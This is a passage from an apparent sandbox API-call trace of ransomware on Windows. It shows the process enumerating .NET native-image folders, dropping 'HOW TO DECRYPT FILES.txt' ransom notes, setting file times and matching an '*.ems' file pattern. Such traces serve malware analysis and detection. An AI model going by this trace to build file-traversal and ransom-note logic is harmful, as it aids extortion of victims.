ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6a77d151, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x390000, cFileName="..", cAlternateFileName="")) returned 1 [0107.068] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.068] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.068] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a77d151, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6a77d151, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6a77d151, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eca4310274a7a6ce651b33cd4278610c", cAlternateFileName="ECA431~1")) returned 1 [0107.068] lstrcmpA (lpString1=".", lpString2="eca4310274a7a6ce651b33cd4278610c") returned -1 [0107.068] lstrcmpA (lpString1="..", lpString2="eca4310274a7a6ce651b33cd4278610c") returned -1 [0107.068] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\*.*") returned="*.*" [0107.068] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\", lpString2="eca4310274a7a6ce651b33cd4278610c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c" [0107.068] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a77d151, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6a77d151, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6a77d151, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.068] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.069] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a77d151, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6a77d151, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6a77d151, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.069] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.069] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.069] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a70ad30, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6a70ad30, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6a730e91, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x6e600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="UIAutomationClient.ni.dll", cAlternateFileName="UIAUTO~1.DLL")) returned 1 [0107.069] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.069] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationClient.ni.dll") returned -1 [0107.069] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationClient.ni.dll") returned -1 [0107.069] lstrcmpiA (lpString1="", lpString2="UIAutomationClient.ni.dll") returned -1 [0107.069] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\*.*") returned="*.*" [0107.069] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\" [0107.069] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\") returned="" [0107.069] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\HOW TO DECRYPT FILES.txt" [0107.069] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\uiautomationclient\\eca4310274a7a6ce651b33cd4278610c\\how to decrypt files.txt")) returned 0xffffffff [0107.069] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\uiautomationclient\\eca4310274a7a6ce651b33cd4278610c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.073] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.073] CloseHandle (hObject=0x90) returned 1 [0107.073] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\", lpString2="UIAutomationClient.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\UIAutomationClient.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\UIAutomationClient.ni.dll" [0107.073] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClient\\eca4310274a7a6ce651b33cd4278610c\\UIAutomationClient.ni.dll", pszSpec="*.ems") returned 0 [0107.073] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a70ad30, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6a70ad30, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6a730e91, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x6e600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="UIAutomationClient.ni.dll", cAlternateFileName="UIAUTO~1.DLL")) returned 0 [0107.073] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.073] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a77d151, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6a77d151, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6a77d151, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eca4310274a7a6ce651b33cd4278610c", cAlternateFileName="ECA431~1")) returned 0 [0107.073] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.074] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x903f484b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x903f484b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x903f484b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490055, dwReserved1=0x750041, cFileName="UIAutomationClients#", cAlternateFileName="UIAUTO~4")) returned 1 [0107.074] lstrcmpA (lpString1=".", lpString2="UIAutomationClients#") returned -1 [0107.074] lstrcmpA (lpString1="..", lpString2="UIAutomationClients#") returned -1 [0107.074] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0107.074] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="UIAutomationClients#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#" [0107.074] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x903f484b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x903f484b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x903f484b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.077] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.077] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x903f484b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x903f484b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x903f484b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.078] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.078] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.078] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x903f484b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x903f484b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x903f484b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="56780b4bd164787631d4317d0556c3c0", cAlternateFileName="56780B~1")) returned 1 [0107.078] lstrcmpA (lpString1=".", lpString2="56780b4bd164787631d4317d0556c3c0") returned -1 [0107.078] lstrcmpA (lpString1="..", lpString2="56780b4bd164787631d4317d0556c3c0") returned -1 [0107.078] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\*.*") returned="*.*" [0107.078] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\", lpString2="56780b4bd164787631d4317d0556c3c0" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0" [0107.078] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x903f484b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x903f484b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x903f484b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.078] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.078] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x903f484b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x903f484b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x903f484b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.078] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.079] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.079] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90336169, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x90336169, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9038242a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xffc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.ni.dll", cAlternateFileName="UIAUTO~1.DLL")) returned 1 [0107.079] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.079] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationClientsideProviders.ni.dll") returned -1 [0107.079] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationClientsideProviders.ni.dll") returned -1 [0107.079] lstrcmpiA (lpString1="", lpString2="UIAutomationClientsideProviders.ni.dll") returned -1 [0107.079] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\*.*") returned="*.*" [0107.079] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\" [0107.079] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\") returned="" [0107.079] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\HOW TO DECRYPT FILES.txt" [0107.079] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\uiautomationclients#\\56780b4bd164787631d4317d0556c3c0\\how to decrypt files.txt")) returned 0xffffffff [0107.079] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\uiautomationclients#\\56780b4bd164787631d4317d0556c3c0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.086] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.086] CloseHandle (hObject=0x90) returned 1 [0107.086] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\", lpString2="UIAutomationClientsideProviders.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\UIAutomationClientsideProviders.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\UIAutomationClientsideProviders.ni.dll" [0107.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\UIAutomationClientsideProviders.ni.dll", pszSpec="*.ems") returned 0 [0107.086] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90336169, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x90336169, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9038242a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xffc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.ni.dll", cAlternateFileName="UIAUTO~1.DLL")) returned 0 [0107.086] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.087] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x903f484b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x903f484b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x903f484b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="56780b4bd164787631d4317d0556c3c0", cAlternateFileName="56780B~1")) returned 0 [0107.087] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.087] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfca286ec, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfca286ec, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfca286ec, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490055, dwReserved1=0x750041, cFileName="UIAutomationProvider", cAlternateFileName="UIAUTO~1")) returned 1 [0107.087] lstrcmpA (lpString1=".", lpString2="UIAutomationProvider") returned -1 [0107.087] lstrcmpA (lpString1="..", lpString2="UIAutomationProvider") returned -1 [0107.087] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0107.087] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="UIAutomationProvider" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider" [0107.087] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfca286ec, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfca286ec, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfca286ec, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.088] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.088] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfca286ec, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfca286ec, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfca286ec, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.088] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.088] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.088] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfca286ec, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfca286ec, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfca286ec, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ab8ac659d9525c6a0cd22c6f3734862f", cAlternateFileName="AB8AC6~1")) returned 1 [0107.088] lstrcmpA (lpString1=".", lpString2="ab8ac659d9525c6a0cd22c6f3734862f") returned -1 [0107.088] lstrcmpA (lpString1="..", lpString2="ab8ac659d9525c6a0cd22c6f3734862f") returned -1 [0107.088] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\*.*") returned="*.*" [0107.088] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\", lpString2="ab8ac659d9525c6a0cd22c6f3734862f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f" [0107.088] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfca286ec, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfca286ec, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfca286ec, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.088] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.088] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfca286ec, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfca286ec, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfca286ec, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.089] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.089] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.089] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfca0258b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xfca0258b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xfca0258b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0xee00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="UIAutomationProvider.ni.dll", cAlternateFileName="UIAUTO~1.DLL")) returned 1 [0107.089] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.089] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationProvider.ni.dll") returned -1 [0107.089] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationProvider.ni.dll") returned -1 [0107.089] lstrcmpiA (lpString1="", lpString2="UIAutomationProvider.ni.dll") returned -1 [0107.089] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\*.*") returned="*.*" [0107.090] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\" [0107.090] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\") returned="" [0107.090] lstrcatA (in: 